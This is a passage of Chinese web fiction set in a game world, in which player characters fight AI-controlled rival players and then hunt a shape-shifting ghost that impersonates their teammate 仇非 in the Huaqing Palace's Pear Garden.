他远远一望,殷炽和飞琼也已经跟着牛群从门口冲了进来,与一脸凝重的殷炽不同,飞琼可以说是眉飞色舞,手中的链刃还卡在牛角上,充当方向盘。 情势转眼之间完全颠倒,云流岚脸色一变,唐刀还是按原来的轨迹劈下,只听到锵的一声清鸣,刀锋已经被枪尖挑开,滑向了另一侧。李千驰提着长枪站起来,将被桌子砸晕的同僚从地上拽起来丢到一边,对云流岚歪了歪头,露出一个冷笑,紧张的气氛犹如弦上之箭,一触即发。 下一秒,一头牛甩着蹄子从他们之间狂奔而去,溅起的尘沙扑了二人一脸。 “……” 不管怎么说,混战开始了。 裴洛川讲得生动,曲小蕨听得热血澎湃,只恨自己不在现场,连声追问道:“然后呢?然后呢?” “可能和你想的有些不一样。”裴洛川扶额,他还没忘记自己扮着女装,优雅地整理了一下袖口,“这是一场……道具战。” 一片混乱之中,安顿好两只御鸡的柳七刀祭出新亭侯加入混战,刀墙劈出,瞬间就将战场划为了泾渭分明的两端。 在场的玩家数量是人机的两倍多,没了NPC的干扰,人机根本没有胜算。显然他们也清楚这一点,云流岚反手驰风八步一个后撤,从地上随便拽起来一个NPC晃了两下,让他的脸正对着李千驰。 那NPC正是被裴洛川打晕的那一个,此刻迷迷糊糊醒转过来,睁开眼:“这是怎么了?” 李千驰被他看到,头顿时疼了起来,脚下一个踉跄,玩家们投鼠忌器,纷纷停下动作。 这时,提剑赶来的亓秀秀眼疾手快,卡了个视角,抬手就是一记雷霆震怒。 NPC被眩晕,倒头就睡。 “……”曲小蕨彻底听不下去了,吐槽道:“好一个道具赛,把NPC当道具是吧……” 在和陆厌匆匆赶回梨园的时候,她就已经做好了充分的心理准备。她考虑到了昔日友人兵戈相见的沉重画面,也猜测过与人机真刀真枪厮杀的惊心动魄,却万万没想到,当时的真实情景竟然是这么的……搞笑。 裴洛川也觉得很搞笑,但是他比曲小蕨能绷:“不能这么说,当时的情况还是十分惊险的。” 曲小蕨已经不想听了:“惊险在人机一直试图把NPC薅起来?” 言归正传,意识到大势已去后,人机就有了想撤离的念头。 “没想到他们还留了这一手。”兰瑾道,即使计划被破坏,他的声音听起来也依旧淡淡的,没什么起伏,好像并不动怒,“还有机会,走吧。” 发狂的牛群闹出这么大的动静,其他区域的NPC已经察觉到了,正在纷纷赶来,但可惜的是,缠在手臂上的披帛颜色已经由绚丽变得暗淡,象征着这道具的效用正在逐步消失,再拖下去,情况对他们也一样不利。 兰瑾说的话在这支队伍里显然具有相当高的权威,听到他这么说了,那个叫柳秋瑟的霸刀姑娘立刻便捉刀上前,两道刀墙一前一后拦住玩家,快速地拉开距离,而云流岚也抓过一个NPC,当做后盾,掩护他们撤离。 “……”本来还要追上前的众人一愣。 人机也一愣,阿攸叫道:“你抓了个什么鬼!” 被当成NPC扯过来的谢不若大怒,把裙摆拎起来往腰间一塞,刀如行云,朝阿攸横劈而去:“你礼貌吗!” 与此同时,柳秋瑟猝然回头,劈出刀墙的同时散流霞后跃,躲过了一道攻击。 她抬眼看去,和站在院墙上的纪空山遥遥对上了视线。 然而,就在这时候,众人眼前忽然齐齐一黑,一个巨大的黑洞突兀地出现在了梨园之中。 这是所有人都没有想到的,连人机的脸上都露出了意外的神情。 那一刻,时间好像凝固了一样,裴洛川根本还来不及反应,下一秒,就看到那个黑洞突然开始迅速扩张,将所有挡在它面前的东西全部吞噬了进去。 再次睁开眼睛,他已经成了尚书府的千金,在铜镜面前挑选去华清宫赴宴要戴的簪子。 第五天的第一轮剧情,就那样在一片混乱之中结束了。 42. 第五天·华清宫(四十二) 夜色笼罩下的华清宫,灯火通明,一片寂静。 一队巡视的金吾卫穿过水边的回廊,消失在拐角。在那整齐的脚步声逐渐远去之后,墙根下不起眼的树丛忽然耸动了几下,几片叶子飘落了出来。 “戴好头套。”柳七刀小声道。 蹲在他旁边的祝灵正犹豫了一小会儿,默默地接过了那个龇牙咧嘴的黄鸡大笑头套,不是很情愿地戴上了。 第二轮剧情,他们俩被分在了一处,好巧不巧,还是柳七刀挺熟悉的一个机构——斗鸡殿。只不过这一次,他连骑曹参军事这个职位也没保住,和祝灵正一样,都是再普通不过的粗使宫人,白天被真·NPC·骑曹参军事指挥着干了一天杂活,累死累活就不说了,连半点情报都能没打听到。 ——最让柳七刀无法接受的是,他上一轮跟鸡大爷们好不容易培养出来的感情也被一键清空了,但是这些鸡大爷往他的头顶飞的时候可是一点都不认生。 不过,他倒也不是很气馁,毕竟经过上一轮剧情的熏陶,大家把华清宫各种机构人员的底细摸得都差不多了,也算是和那只人机队伍简单地交过了手,不算是一无所获。 当晚,柳七刀约上祝灵正,准备趁着夜色外出探索一番。 一来,他们得在人机玩家开始搅混水之前抓紧和其他人碰上头、互通身份;二来,规则里明确地指出了他们必须指认“鬼”成功,按照常理来说,“鬼”一般都是在夜晚出现的。 所以,趁夜深人静,柳七刀从仓库里掏出俩黄鸡大笑头套来,叫上祝灵正,两个人便径直潜入了东区。倒不是说这华清宫的防范有多么疏密,实在是架不住金吾卫内部出现了内鬼——柳七刀对前同事的巡逻路线了如指掌,现在让他闭着眼走,都不一定能被发现。 “还是直接去梨园吗?不去查一下其他地方了?” 两个人往花丛树丛里一蹲,动作逐渐熟练,柳七刀便问。 “嗯。”祝灵正点头,“上一轮梨园宴结束,剧情就立刻跟着结束了,说明我们一开始的思路应该没错,梨园就是第五天的重点。” “但是上一轮除了祁云纵搞事,也没听说过梨园里还有什么闹鬼的事迹。”柳七刀开始努力回忆上一轮发生过的事,无果,“还是说我们调查得太表面了?就像那些无限流小说里一样,有些深宫传说只有找那种老嬷嬷才能打听到?” “如果说‘鬼’指的就是真正的、人们常说的‘鬼怪’……”祝灵正微微思索,“一般来说,‘鬼’都具备什么特征呢,你对这方面了解得多吗?” “那还蛮多的。”柳七刀昂首挺胸道,“我看过可多恐怖片了,什么《咒怨》《午夜凶铃》《猛鬼街》《招魂》《安娜贝尔》《死寂》《山村老尸》……” 他说着说着就跑题了,嘴里跟报菜名似的往外报恐怖片名,祝灵正不好意思打断,一边听一边默默地在心里想,还好殷炽不在这里,不然一会儿估计要拖着他走了。 不紧不慢的脚步声从远处传来,是换班轮岗的金吾卫正经过此,准备回到讲武殿。柳七刀噤声、祝灵正回神,两个人齐刷刷伏倒在地,直到那几名金吾卫走远,这才直起身来。 “我说到哪了?”柳七刀问。 从猛鬼街开始,祝灵正就开始发呆了:“呃……” “说到贞子大战伽椰子了。” 突然,有人在他们身后说。 “哦。”柳七刀说,“谢谢——” 话说到一半,他突然想起来,他和祝灵正躲的是墙根的树丛,背后是墙。 意识到这回事,柳七刀顿时心口一凉、寒毛直竖。这一幕惊悚程度不亚于恐怖片,要不是还记得他们是在华清宫中、受到规则限制,他能吓得窜到天上去。 祝灵正刚回过神,慢吞吞道:“可是,那不是搞笑片吗。” 他还和鬼聊上了!柳七刀难以置信地盯着他,把祝灵正盯得社恐发作,往后挪了一点,想了想,安慰他道:“没关系,能看搞笑恐怖片也很厉害了。” “……”话都说到这份上了,显然,身后的并不是鬼。柳七刀转头一看,即使有心理准备还是被吓了一跳。 ——好家伙,从矮墙墙头上倒挂下来一个人,半长黑发随着动作一并倒垂下来,要不是还作着兵士的打扮,乍一看真跟索命鬼没什么两样。 “刚刚路过,听到你们的声音,就过来看看。”那人说,语调无比平静,似乎丝毫没意识到自己的登场方式有多么吓人。 “啊!尹有攸!”直到这会儿,柳七刀才把这人认出来。 尹有攸的运气也不算很好,从他身上的打扮来看,显然属于最普通不过的那种巡逻侍卫,跟金吾卫、千牛卫这种“中央十六卫”的亲军根本没法比,估计地位也就比他俩这种喂鸡的高一丢丢。 ——在大战本里,扮演的基本上就是门口走来走去的路人红名小兵角色。 尹有攸自由落体接双手撑地,翻了个身,非常自然地融入了树丛潜伏小队,和祝灵正一起等待柳七刀继续往下说。 柳七刀被看得压力山大:“呃,贞子大战伽椰子它就是……呸,我要说的不是这个!恐怖片里的鬼,一般来说,看不见摸不着,但是拥有超自然的力量,不是物理攻击、就是精神攻击,而且非常邪恶,大多数都是出场就得要人命。” 尹有攸和祝灵正都不是那种爱说话的类型,仇非也不在,柳七刀硬着头皮,首次担当起分析的角色: “就是说,既然规则用‘鬼’来形容我们要找的东西,我认为,它和玩家应该就是对立的关系,毕竟……人鬼殊途?你们觉得呢?” 他说得倒也不无道理,而且游戏规则在提到“鬼”的时候,还特地用了“识破”这个词,一看就不是什么好东西,三人一商量,决定还是先去梨园摸索一番。 梨园是供乐部伎子弟们教习与居住之处,和天子办公的中区自然不同,内部看守并不严密。他们埋伏在树丛里,等下一批巡逻者路过后,便蹑手蹑脚地翻墙进了梨园。 在上一轮剧情里,祝灵正被分到了大战组,这还是第一次进来,翻墙的动作还有些许拘谨,柳七刀和他比起来已经算是轻车熟路了,至于尹有攸,这位更是如同回到了自己家。 柳七刀把黄鸡大笑头套分了尹有攸一个,三个人戴上头套,开始鬼鬼祟祟地顺着庭院里曲折的石径前进。 不同于梨园宴时期的华灯璀璨,平日里的梨园几乎被黑暗笼罩,零星几座凤池璧影庭灯发出的微光都淹没在了庭木的森森阴影之中。夜风拂过,树影摇曳晃动,灯光也随之明灭起伏,看起来竟显得有几分诡谲可怖。 “这里平常也这么暗吗?”祝灵正轻声问。 尹有攸是梨园老住户了,闻言点头道:“人睡下了,就熄灯了。” 柳七刀走在最后。他几次来到这里都是因为特殊事件,整个东区皆是灯火通明,这会儿一下子看到了平常夜间的梨园,反而最不习惯,总感觉脖子后面凉风飕飕的,浑身不得劲儿:“咱们从哪查起?” 尹有攸停下脚步转过头,一张黄鸡大笑的面孔在黑夜里张牙舞爪、无比嚣张,但头套下的声音却充满迷茫:“……不知道。” “我在降圣观的时候听说,梨园闹过鬼。”祝灵正道,“也许会发生一些灵异事件。” “……”柳七刀欲言又止,心说这个鬼就在咱仨头上顶着呢。 不过,祝灵正的话倒是提醒了他。柳七刀打开小队背包一看,果然不出所料,按理说包里应该还有两个头套的,但现下却只剩一个了。 花木婆娑,夜色幽静。 趁月亮被轻薄的云翳笼住,祁云纵全副武装,吭哧吭哧地翻墙。 上一轮剧情他是大意了,恰好碰上个半夜醒来起夜的小乐师,偏偏月色又好,才让那小乐师看到了他,搞出一起“笑面鬼”的传闻来。但这次他可是有备而来,吸取教训,势必要一雪前耻,力求无声无息、不留痕迹,没有任何一个人能够发现—— 他左脚刚迈过去,人还骑在墙头上,忽然察觉到有些许异常,低头往下一看,三个一模一样的黄鸡大笑头套正凑在一处仰头看他。 其中一个血盆大口一张,发出了他那熟悉的倒霉队友的声音:“英雄所见略同啊!” 祁云纵脚一滑,差点从墙上摔下去。 四个人碰了头,先做自我介绍。祁云纵这会儿也不是医博士了,喜提工部令史之职,听起来虽然有模有样,但据他白天的研究和观察,就是一个打杂的工匠,平时搞搞土木工程而已。 ——不知道是不是错觉,这次大家的官运似乎都很一般,全是不入流的职位。 无论怎么说,夜探梨园的队伍越发壮大起来,要是现在再有人推开窗子往外一看,估计就不仅仅是“闹鬼”那么简单了,当场吓厥过去也说不定。 祁云纵重生归来,对那撞破闹鬼事件的小乐师的住处还有几分记忆,指挥众人避开那间厢房。然而四人七拐八弯,围着梨园外部走了整整一圈,也没见什么灵异事件。 毫无收获,几人最终又回到园中池边。眼看月已西沉,再过几个时辰天都快亮了,别说“鬼”的线索了,没了“笑面鬼”事件搅局,这一夜的梨园格外安静,静得甚至能听到桃花瓣飘落在水面的声音。 虽然早有预料,但真做了无用功,柳七刀还是有点沮丧的。 他怎么也想不明白,第五天到底是什么机制。如果一直找不到“鬼”,难道他们就要在华清宫待一辈子?柳七刀忍不住用力甩头,试图把这个恐怖的念头甩出脑海。 光是想到斗鸡台里那些磨刀霍霍向他头的鸡大爷,他都恨不得立刻把“鬼”揪出来,结束这离谱的一天了。 那一边,祁云纵正盯着水面上飘落的桃花发呆,顺手戳了戳尹有攸:“你说,你现在是侍卫了,那小黑屋里关的是谁?会不会是另一个玩家?” “我去看过了,没人。”尹有攸道,“是关过人,但是锁坏了,那人已经走了。” “这么嚣张,不是人机,就是那个‘恰鸡队’的玩家吧。”柳七刀说,顺便和祁云纵你一言我一语,给略显疑惑的祝灵正简单讲了讲“让你排恰鸡结果你排了个啥”队的壮举。 他们这样坐在庭院之中,四下安静,窃窃低语,竟然也有种难得的松弛感。祝灵正仰起头,透过黄鸡大笑的气窗看着漆黑天幕中闪烁的繁星,想着纪空山的名字。 “我知道。”他轻声说,“她是纪湘君的姐姐。” 其他人没听说过纪湘君的名字,闻言都好奇地看了过来。尹有攸念了一下纪湘君的名字,问:“是丐帮么?” 祝灵正沉默了一会儿,慢慢考虑着措辞,讲起降圣观发生的事来。 他其实不太擅长讲故事,而且他和纪湘君相处的时间其实不长,了解也并不算多么深入。他对纪湘君的印象,就是话很多很密、说个不停,但性格直率的、开朗的年轻人。 和朝夕相处的亲人不同,说得残酷一些,在这样的世界里,他们的相遇就如同流星一霎,是极容易被时间冲淡的。悲伤也好、愤怒也罢,过去得久了,冲击就小了,再没有当初那样浓烈的痛苦。 如果说,纪湘君的死,对于纪空山和队友们来说是洪水,是烈火,是永无停歇的窒息和极致的哀痛愤怒,那于他而言,则是干涸河床下皲裂的沙土,或者大火燃烧过后的灰烬,最难以接受的时刻已经过去,只留下了一种千疮百孔的悲怆和茫然。 祝灵正想,他大概的确非常不擅长讲故事了,一段话说下来,搞得大家都陷入了长久的沉默。他仰头看天,今夜的月色也很明亮,但没有月晕,明天大概不会刮大风。 片刻后,祁云纵才吐出一口气,轻轻拍了拍祝灵正的肩膀,却不知道该怎么安慰人。 他转头看了看柳七刀,这家伙看上去整个人都是灰的,已经完全emo了,感觉马上就要在头套里掉眼泪了。作为一个十分有担当、经常力挽狂澜的剑纯,祁云纵觉得他现在必须得说点什么,于是便语无伦次地胡乱说道:“啊……原来是这样。怪不得他们队那么拼。人机真该死啊。” 黄鸡大笑上下摇晃,柳七刀难过得变了调的声音从头套底下传出来,复读道:“人机真该死啊。” “……” 尹有攸想说什么,但最后还是别过了眼,看向池塘对岸的桃树下,第五个人正站在那里。 ——祝灵正讲到一半时,他就来了,但却在听到人机的故事时却停下了脚步。祝灵正在说,柳七刀和祁云纵在聚精会神地听,只有听力格外敏锐的尹有攸察觉到了他的到来。 李千驰和他对上视线,朝他苦笑了一下,摇了摇头。 这会儿,一直遮住月亮的云翳散开了些,月色如水,满庭满院的桃花簌簌地轻摇着,湖面上泛着细碎的粼粼银光,有一种温柔的安谧感,再不复之前的阴森。 但这一幕经不起细细打量——池塘边的罗浮石岩隙中长满了柔软而茂密的苇草,随着夜风高低起伏时,其间便隐约浮现出四个蹲坐在一起的身影,每人头顶一个嚣张的黄鸡大笑,视觉冲击宛如百鬼夜行。 其中一个一转头,发出柳七刀的声音:“啊,李千驰!” 祁云纵音量更大:“小点声,别引来了看守!” 李千驰沿着湖边的小径,大跨步走了过来,挨个和他们打了招呼。看他的装扮,曾经在讲武殿住过的柳七刀一点也不陌生,直接乐出声来:这不是他们殿外扫地的小厮打扮么。 李千驰的到来冲淡了刚刚有些低沉的氛围,尹有攸看了他一眼,他似乎也不打算提起人机的事情,直接问道:“怎么说?有什么发现吗?” “没有啊。”柳七刀摘下头套透了口气,有点挫败地把额发往后一捋,“绕着梨园转了一整圈,什么也没看到。” “我也是。”李千驰道,“我从讲武殿那边的津阳门进来,经过弘文馆、按歌台,最后从开阳门翻进来到了梨园,一路上再正常不过了。” 他正经起来时,还是有几分靠谱的,此时皱着眉头,便道:“我们的探索范围一直都仅止于外界,是不是也应该去那些乐师舞伎住的屋子里看看?” 祁云纵深以为然:“确实,一般来说闹鬼也不会在平地上闹,总得有个凶宅什么的。” 虽然是这么说了,但梨园里住的大部分都是姑娘家,探查起来总是不方便的,五人一合计,还是等与亓秀秀龙葵她们接上头之后,请她们去探索一番,至于现在,可以先去那些废弃的馆阁内看看。 这活儿尹有攸熟,那个王教习用来关他的就是那些没有人住的废弃馆阁中的一间。像这样的屋子,在梨园里有不少,说是废弃也不尽然,只是长年累月没人住,再加上打扫和看守的宫人偷了懒,渐渐地就荒废掉了。 眼下夜深,白日里的看守都各自回去睡觉了,远离了大部分梨园子弟居住的区域,几个人也逐渐放松了起来,一边走,一边聊着第五天的种种规则,聊着聊着,话题就跑到“鬼”身上了。 祁云纵高谈阔论:“关于‘鬼’吧,其实我也看过不少恐怖片,像什么《咒怨》……” “直接快进到《贞子大战伽椰子》。”柳七刀打断他,心说咱俩可真是亲队友。 祝灵正听着他们的对话,忍不住笑出声来,所幸有头套遮着,还不算太明显。他在上一轮剧情里被拎出去单走了,跟这些队友们并不是很熟,但好在大家脾气都很好,都是有趣的人,相处起来也不是很困难,他非常自信,认为自己已经融入了整体和谐的氛围之中。 “他为什么在冷笑啊。”他身后,祁云纵小声道。 李千驰摸摸脑袋:“嫌我们的对话太蠢了?” “……” 很快,他们就来到了一处偏院。这里的屋舍形制都差不多,一栋小楼带两间厢房,有点像戏台子,是这时期戏班梨园常见的配置,偏院没有大门,只有一道非常狭窄的拱形月门,上面都结了蛛网,一看就是很久没人来过了。 小楼二楼的窗没关,被风吹得摇摇晃晃,偏偏是在众人抬头望去的时候,干涩的窗轴和窗框相互挤压,发出长长的一声“吱呀——”,像某种夜枭的号叫。 暗沉厚重的黑云聚拢,渐渐地又遮住了月亮,视野顿时暗了下来。 “……有感觉了。”柳七刀小声说。 一般来说,氛围突然转变,就是要发生点什么了。他顿时有些疑神疑鬼,再看周围黑幽幽的花丛树丛,总感觉里面藏着东西,后背也跟着发凉。 李千驰胆子大,这会儿反而兴奋起来:“难道‘鬼’是真鬼?那说明我们找的方向没错,走,进去看看!” “里面太暗了……”祁云纵刚开口,就看到祝灵正反手将魂灯取了出来,端在手里,回头看过来。玉女守门里跳跃的光芒映在他脸上,由下至上衬得那个黄鸡大笑头套越发怪异可怖,裂开的猩红笑容中充满了嘲讽。 柳七刀又道:“门口的蜘蛛网……” 尹有攸一棍把蛛网扫开,直接抬腿走了进去。 “诶,你们不会害怕了吧。”李千驰眼睛一亮,仿佛发现新大陆,“为什么站在门口不进来?” “怎么可能!”柳七刀脱口而出,“我可是看过无数鬼片的人,难道还会怕鬼?” “也是。”李千驰不置可否,嘿嘿一笑,跟在祝灵正身后走进偏院。 柳七刀和祁云纵隔着头套对视一眼,祁云纵道:“我记得你和谢不若胆子都不大吧,先说好,反正我是没在怕的。” “是谁在第一天湘竹溪看到我们吓得撒腿就跑啊。”柳七刀面无表情,咬紧牙关,“你不害怕,你倒是让我先进去。” “不不不。”祁云纵面不改色,暗自用力,“我走你前面就行。” 两个人一左一右,卡在月门中间较劲,谁也不想 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“这个院子和关我的那个一样,也是废弃的。”尹有攸像个鬼屋导游一样站在门边介绍,“看守和其他人从来没进来过。” 李千驰一边听,一边四处打量,刚要进门,却突然停下了脚步。 他皱起眉头,示意祝灵正将手上的灯放低一点:“也不一定。” 在玉女守门澄净的微光映照下,隐约能看到地面厚厚的灰尘上留下了一些被磨蹭过的痕迹,虽然不甚明显,但从痕迹的纹路和弧度不难看出,那是几枚足印。 屋内有人? 几人都看见了那些足印,顿时变得警戒起来,柳七刀反手就抽出新亭侯,上前两步,侧身贴近大敞的门边,朝内看去。 如果这间废弃的小楼之内真的有人,那么他们刚刚的交谈,一定都被听去了。柳七刀回想他们的对话,似乎没有什么明显违反了角色设定的内容,不禁在松了口气的同时感到一阵后怕。再看屋内,还是黑漆漆的,伸手不见五指,不像是有人在里面的样子。 “……不对,等一下。” 祝灵正还盯着地上的足印看,此时低声犹疑道:“这脚印足尖向外……是往外走时留下的。” 他的声音本来就又轻又缓,再普通的一句话在这种情况下说出来,也有种缥缈阴森的感觉。柳七刀顿时感觉寒毛直竖,就在这个时候,他们的身后,忽然响起了一道冷漠的声音。 “别看了,是我。” 柳七刀的手本来已经按在了刀鞘上,猝不及防听到这个声音,他手一抖,差点条件反射般地把刀扔了,但很快,他就分辨出了这道声音的主人,不仅不再紧张,反而迅速地放松了下来,看看祁云纵,也是如此。 对他们来说,来人的声音再熟悉不过了——他一转头,果然看到仇非抱着臂,站在他们身后,脸上还带着一抹有点嘲讽的冷笑,用看傻子的目光看了过来。 “非姐……”柳七刀松开刀柄,长长地舒了口气,“别这么神出鬼没的,真的会吓死人。” 仇非对队友的胆量显然非常有数,露出一副懒得理他的神情,挑了挑眉,径直越过他的肩膀看向那漆黑的屋内:“我看过了,这里面就是间空屋,你们在找什么?” “这就要说到我们把梨园逛完一圈儿之后得出的结论了。”祁云纵道,开始给仇非讲述他们梨园探秘的心路历程。 另一边,李千驰他们也放松下来,但为了防止有什么遗漏,三人还是提着灯走进屋里,象征性地检查了一圈。 柳七刀靠在门口,将新亭侯背回身后,真正地感到了如释重负。 非姐来了,意味着不用自己动脑子,真是太好了。 就是今晚未免也太冷了点儿……他举起手放在唇边呵了口气,几乎能在黑夜里看见一团氤氲的白雾。上一轮剧情里,同样是初冬,那时候的华清宫的夜晚却似乎没有这么冷;寒意仿佛是从脚底一路攀爬到身上的,他甚至感觉手指都冻得有些发僵。 耳边传来细微的吱呀声,是其他人从屋内出来了。柳七刀转头看去,发现三个人的表情都很古怪,全是一副欲言又止的样子,不由愣了一下。 “屋里有东西吗?”他奇道。 “是间空屋子。”尹有攸道。他没有看柳七刀,而是注视着仇非和祁云纵的方向,从厚重云翳下漏出的一线惨白月光打在院落中,像一道天然的分界线,将他们分割开来。尹有攸没戴云幕遮,黑沉的眼睛中倒映着这道明晃晃的月光,柳七刀顺着他的视线看过去,便看到仇非和祁云纵也停住了话头,朝他们这看过来。 看着这一幕,一种奇怪的感觉在柳七刀心头涌起。 他也说不上来是哪里奇怪,好像有什么重要的事情被自己忽略了。 “祁云纵。”李千驰开口道,朝祁云纵招招手,“组织上需要你的梯云纵,跳到房顶的阁楼上去看看有没有东西。” 祁云纵没想太多,道了声好,径直朝他们走过来。 柳七刀抬头看了眼阁楼的高度,这阁楼没多高,二段跳再挂一个扶摇就上去了,怎么看也不是需要梯云纵的样子,心里古怪的感觉更加浓重了。他刚想开口询问,袖子却被祝灵正轻轻拉了拉,用细不可闻的声音低语道:“屋里只有向外走的脚印。” “你说什么……” 祝灵正这句话来得突兀,没有前因后果,柳七刀听得一怔,刚想问个清楚,却突然背后一凉,明白了一直以来被他忽略的事情是什么。 ——这间废弃的小楼地上遍布灰尘,但凡走过就会留下痕迹,但他在门口却只看到了仇非走出来的脚印,却没有她走进去时留下的脚印,就好像她是凭空出现在楼内,随后走了出来一样。 想明白这一点,柳七刀后背顿时就有一种过电的发麻感,再看仇非,明明还是那张无比熟悉的面容,在惨淡月光的映照下,竟然有一种似笑非笑的、阴恻恻的感觉,越看越陌生。 “怎么了?”发现众人都看了过来,仇非问道,还是她一贯沉稳的声线。 “什么怎么了?”刚跳上房顶的祁云纵摸不着头脑,下一秒,就看见李千驰寒着脸长枪一横,拦在了众人身前。 “你是谁?”他沉声问。 “……” 仇非没有立刻回答,而是皱起了眉头,用一种冰冷而考量的眼神来回扫视着他们,柳七刀在这种目光的注视中下意识地握紧了刀柄,深深地呼了一口气,往后退了一步,转头看向屋内的地面。 ——的确,除了他们后来进屋探查时留下的凌乱痕迹,一开始的脚印,全都是向外走的,而没有朝里进的。 祁云纵也不傻,这会儿跟着柳七刀看了一眼地面,也反应过来了,立刻明白了众人把他叫过来的用意。他心里的震撼恐怕不比柳七刀小,想到刚刚还和“仇非”聊得挺开心,不由得露出一副怀疑人生的神情。 短暂的沉默后,仇非开口说话了。 “我不知道你们在怀疑什么。”她淡淡道,“柳七刀,祁云纵,过来。” 眼前的人,无论是外表、声音、口吻,甚至连那种“我不跟傻子玩”的微妙嫌弃感,都和仇非一模一样,柳七刀条件反射,差点就要往那边走。 祁云纵还沉浸在震撼之中,伸手虚虚地拦了他一下,问:“非姐,为什么屋里没有你走进去时的脚印?” 仇非眉毛一挑,冷声道:“怎么可能?” “我没有听到任何声音。”尹有攸开口道,“你是突然出现在我们身后的。” 他的耳朵有多灵,大家都再清楚不过了,如果是真正的仇非,不可能在尹有攸完全注意不到的情况下接近他们,除非,“她”是突然出现的。 柳七刀皱起眉头,背过手摸向了新亭侯,难道“鬼”就是眼前的仇非? 但是无论怎么看,她本身都毫无破绽,几乎就是从他们的记忆中走出来的仇非本人。 按照规则来说,他们可以对“鬼”进行指认,但是所有玩家都只有一次指认机会,一旦指认错误,大家都会直接完蛋。第一轮剧情里他们在华清宫待了那么久都没有找到线索,这才第二轮的第一夜,“仇非”作为“鬼”就直接出现在他们面前了,这可能吗? 祁云纵估计也是这么想的,压低声音对他说:“赶紧的,问她点只有咱们知道的事——” 他话还没说完,那边,仇非却是冷笑了一声。 她冷冷道:“你当然没听到了,因为你在说谎……你根本就不是尹有攸。” 听到这句话,祁云纵剩下的话顿时就被卡在嗓子里了,他和柳七刀对视一眼,后背一凉,都在对方眼里看见了隐藏不住的讶异:“……哈?” “你们俩赶紧过来!”仇非厉声喝道,“他们三人在进屋时已经被换掉了,擦掉我的脚印,是在故意说谎误导你们!” 43. 第五天·华清宫(四十三) 夜深云重,月光时隐时现,明暗不定。 柳七刀看着仇非,她的表情很坚决,剑眉拧紧,直视着他和祁云纵,低声道:“快,马上过来,来不及了!” “别!”李千驰立刻道,伸手拦了一下,却被祁云纵用剑柄轻轻将他的手推开。 “这就来。”祁云纵说,夜风拂动他鬓边散乱的黑发,露出澄明一片的眼睛,“——等我插完这个吞日月。” 听到他这么说,正在对峙的两边人都微微一愣,便看见祁云纵话音落地的一瞬,吞日月已经下在了仇非脚下,幽蓝气场铺展开来的同时,圆弧形的电光拔地而起,柳七刀一声轻喝,上将军印当头向被封死在小圈中的仇非砍去! 在几双眼睛或怔然或紧张的注视中,凛冽的刀气还没落下,仇非脸上露出一丝冷笑,面容忽然便像墨洇散在水中那样扭曲起来,连带着她整个人的身形都雾一般缥缈不定,被上将带起的凌厉寒风一刮,立刻就消散在了夜色之中。 吞日月犹在,西楚悲歌形成的刀气障碍也还没消失,但柳七刀面前已经空无一人了。 他上将拍了个空,顺势收刀落地,才发觉自己心脏狂跳不止。 猜对了,这个“仇非”确实是假的。 出生入死这么久,他和祁云纵对视一眼,几乎就能明白对方心里所想,拔剑抽刀,默契无间。为了不惊动“仇非”,李千驰都知道找个借口让祁云纵慢慢走过来,换作是真正的仇非,又怎么可能一口喊破对面几人的假身份,置自己的队友于危险之中? 要知道,他尚且有散流霞傍身,祁云纵跑得那是真的慢。 柳七刀这样给其余人解释完,听得李千驰咋舌不已:“就凭这一点破绽,你们就敢动手了?” “不不不,你要知道,身份谜团是灵异怪谈里常见的套路,通常情况下,假的那个会更着急,只有制造出让人无暇思考的气氛,才能让自己显得更加真实。”祁云纵收了剑,侃侃而谈,“玩家之间有太多检验身份的方法了,假‘仇非’那样一叠声地催促,看似是为我们的安全担忧,实际上只是怕我们反应过来、辨查出破绽而已。” 这会儿,连祝灵正打量祁云纵的目光都变了,颇有一种肃然起敬的感觉:这还是那个大声唱着《狂》走进有间客栈的剑纯么? “你少来。”柳七刀低声对祁云纵说,“你刚刚想到这么多了?” “你少管。”祁云纵也低声对柳七刀说,“是谁随时准备散流霞跑路的?” ——作为生死与共的队友,他俩都心知肚明,如果那人是真的仇非,一定会立刻交个盾立,让他俩都长长记性。 言归正传,被封了轻功的假“仇非”在小圈中瞬间遁去无影,玩家可没有这样的本事,就算是凌雪的十方玄机也不行,目前看来,有很大的概率,这就是他们一直以来要寻找的“鬼”。 这个“鬼”,有仇非的外表、语气和记忆,但和真正的仇非仍然存在思维与性格上的差异,因此大家都比较倾向于“鬼”是模仿了仇非本人,而不是仇非变成了“鬼”。 不过,这样一来,对“鬼”的指认就变得有了难度。谁也不知道“鬼”除了仇非之外是否能模仿其他人,想要指认成功的话,肯定不能指认被“鬼”模仿的玩家。 “没想到,第五天要我们找的,竟然真的是传统的鬼。”柳七刀给自己顺了顺气,“我还没遇到过带鬼的地图呢。” 尹有攸闻言,便说:“我们队遇见过。” 他简洁地讲了讲第三天荒魂镇发生的事情,综合来看,华清宫的这个“鬼”,显然要比荒魂镇里的鬼高级很多,不仅形态更加凝实,甚至还具有模仿和思维能力。不过,结合刚刚假“仇非”迅速消失的表现,可以看出,这位高级“鬼”,也是害怕受到玩家技能伤害的。 俗话说,一切恐惧都来源于火力不足,知道鬼吃伤害,柳七刀又觉得自己行了。 “说起来,我们刚刚是怎么把鬼召唤出来的?”从不怕鬼的李千驰始终保持积极的态度,甚至还想再来一次,“进屋?” 他身体力行地开始在废弃小楼的门口进进出出,然而这次,除了地面的脚印更加凌乱之外,并没有什么人再突然出现。 “夜晚,黑暗,狭窄空间,下降的气温。”尹有攸说,“应该与这些条件有关。” “我觉得,目前最重要的问题是,‘鬼’为什么会选择仇非作为模仿对象。”祝灵正轻声道。 他说:“一种可能,‘鬼’通过某种手段控制了仇非……” “不可能吧。”祁云纵皱起眉,“能控制住非姐的NPC真的存在吗?” 柳七刀跟着点头,一副心有戚戚焉的样子。 祝灵正不知道他们这强大的信念感从何而来,顿了顿,继续往下说:“第二种可能,四支队伍之中,你们‘饿了么队’在场人数是最多的,于是‘鬼’优先选择模仿你们队伍的玩家——当然,容易被认可的同时也很容易被看穿,所以我个人并不是很支持这种猜想。” “至于第三种猜想。” 祝灵正垂下眼,看着手中魂灯澄澈的光芒,缓缓道:“有没有可能……是真正的‘鬼’,对仇非比较熟悉呢。模仿,自然要模仿自己比较熟悉的人了。” 啪、啪。 某间还亮着灯的小屋内,灯芯发出轻微的爆裂声,炸开细小的火花。 灯油将要燃尽,烛光昏暗下去,付井仪拿起桌前的一把铜铰,将烧过的烛芯剪去。 他身上已不是协律郎的装扮,而是普通乐工服饰,一眼就能看出来,依旧是梨园中人。 